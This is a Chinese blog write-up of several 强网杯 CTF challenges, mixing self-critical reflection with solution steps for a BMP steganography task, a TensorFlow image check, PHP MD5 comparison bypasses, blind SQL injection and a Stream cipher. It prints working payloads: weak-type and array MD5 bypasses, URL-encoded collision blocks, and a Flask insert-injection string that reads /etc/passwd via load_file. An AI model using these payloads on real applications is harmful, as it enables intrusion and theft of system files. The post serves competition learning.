强网杯Wirte up

强网杯Wirte …

这次强网杯打的可以说是一败涂地了。

比赛之前踌躇满志,要全心全意肝上两天。结果总是做着做着做不下去。

闲鱼。

MISC

Welcome

题目是一个bmp文件,因为之前没做过bmp文件的隐写。所以一上来就有一点懵。最初以为是LSB隐写,翻了几遍也没有什么有效信息,然后尝试extra data,亦未果。最后试了offset,结果在100位时出了flag。

此题总结:

此题解答过程中思考混乱,不能理性分析。
对stegsolve的了解不够深入,应当了解每一个选项的具体使用以及应用环境。

ai-nimals

本来以为自己能解出来这道题的,结果果然自己机器学习学的还不行,tensorflow了解还不足。。比赛时候也不愿意静下心来好好学。其实CTF的过程中完全可以学到足以作出来这道题。。

1.题目给了一个py脚本,读脚本可知,用base64加密图片,传给服务器。判断和原图是否相同,长度必须相同,里面内容最多有config.diff_chars不同,hint中config.diff_chars的值为1024。接着利用tensorflow训练的一个模型来判断,图片中是何种动物,训练的模型给了一个GitHub地址。

2.判断是否输出的条件为if top_k[0] == 1:,根据在本机训练模型试验的结果,意思是:判断是否为狗的几率最大,就输出flag。显然与题目本意不同,所以我们只需要将给我们的原图base64之后发过去就好了。

3.发包过去的时候要注意,不能一次性全部发过去,否则会出错,所以我们每次发送1024,发一个包暂停0.5秒,最后即可得到flag。(如果出错,重试几次就好)脚本如下:

Web

Web签到

这题是一个md5及相关特性的考察。

第一层:

查看源码,见注释如下:

<!--
    if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){
            die("success!");
    }
-->

MD5弱类型罢了,payload:

param1=240610708&param2=QNKCDZO

第二层:

<!--
    if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
            die("success!");
        }
-->

这里我是从精灵表哥的blog那里看到过,因为md5传入数组是会回传两个相同的md5值,所以payload:

param1[]=1&param2[]=2

第三层:

强制字符串转化:

<!--
    if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
            die("success!);
        }
-->

只能md5碰撞了。
碰撞好之后,我死在了怎么传上去上。
我真傻,真的。我只知道要用URlencode,却不知道什么样形式传上去才能让md5相等。做着做着发现被队友解出来了。。。。

后来知道了好几种传的方式:

  • burpsuite 文件上传了解一下~
  • 传URLencode后的二进制啊!!!!
  • 在网上找别人碰撞好的encode啊!!! 之后才知道去年BKPCTF有类似的题。

payload:

Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

我真傻,真的。

此题总结:
burpsuite用的不熟练。
也是够了。连burp上传文件都不知道。

Three hit

这题直接没看懂。。。太菜。

看大佬说,这是tm个盲注。
要测试各个字段

发现username有正则限制,那么测试age,发现必须整数,这里可以用16进制绕过,测试一番后发现是个盲注

无力吐槽自己,脚本:

此题总结:

测试意识不足。说起来,自己对SQL注入太不精通了吧。就会打个分号,跑个sqlmap。

Python is the best language 1

flask审计题。

然而我玩了半天留言板。。。。

本来猜XSS,结果XSS能直接发出去,不是。

留言功能关键代码:

class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')

这里直接接受post参数,然后查看是如何添加到数据库的

form = PostForm()
    if form.validate_on_submit():
        res = mysql.Add("post", ['NULL', "'%s'" % form.post.data,
                                 "'%s'" % current_user.id, "'%s'" % now()])

跳转到Add定义处

def Add(self, tablename, values):
        sql = "insert into " + tablename + " "
        sql += "values ("
        sql += "".join(i + "," for i in values)[:-1]
        sql += ")"
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

看到这里发现并没有进行任何过滤,存在一个insert注入。

payload

123456',1,'2018-03-24T21:44:39Z'),(NULL,(select conv(hex(substr(load_file('/etc/passwd'),1,6)),16,10)),2,'2018-03-24T21:44:39Z')#

Crypto

Streamgame1

题目给了一个加密算法和一个key文件,根据题目名提示,查了一下是什么流加密,最终也没把算法逆向出来。结果给队友爆破出来了。

题面:

因为确实也只有2**19种可能性,很多表哥都是直接爆破的,贴一个风吹雨表哥的爆破脚本。。

总结

打CTF的方法是不是错了呢,我一直注重的是套路学习。但其实可能并不是这样,打比赛就是考的学习能力啊。看写Threehit 和 Pyhon1的write up的大佬说:

其实是一个很简单的注入,对于flask的理解其实并不是很高,只要学习个几个小时就足以应付这道题,所以对于这道题来说不会flask并不是做不出来的理由,这就表示我们不能总是把希望寄托于CTF竞赛中总会出我们见过的套路,善于学习才是提高CTF竞赛能力的最快捷径。

确实很有道理,CTF是一个学习的过程
一定要记住这个。

题目writeup参考:
  • Three hit:Pupil-XDSEC
  • Python is the best language 1:Pupil-XDSEC
  • stream1:风吹雨
  • ai-nimals:Xp0int Team
harmoc

发表评论

电子邮件地址不会被公开。 必填项已用*标注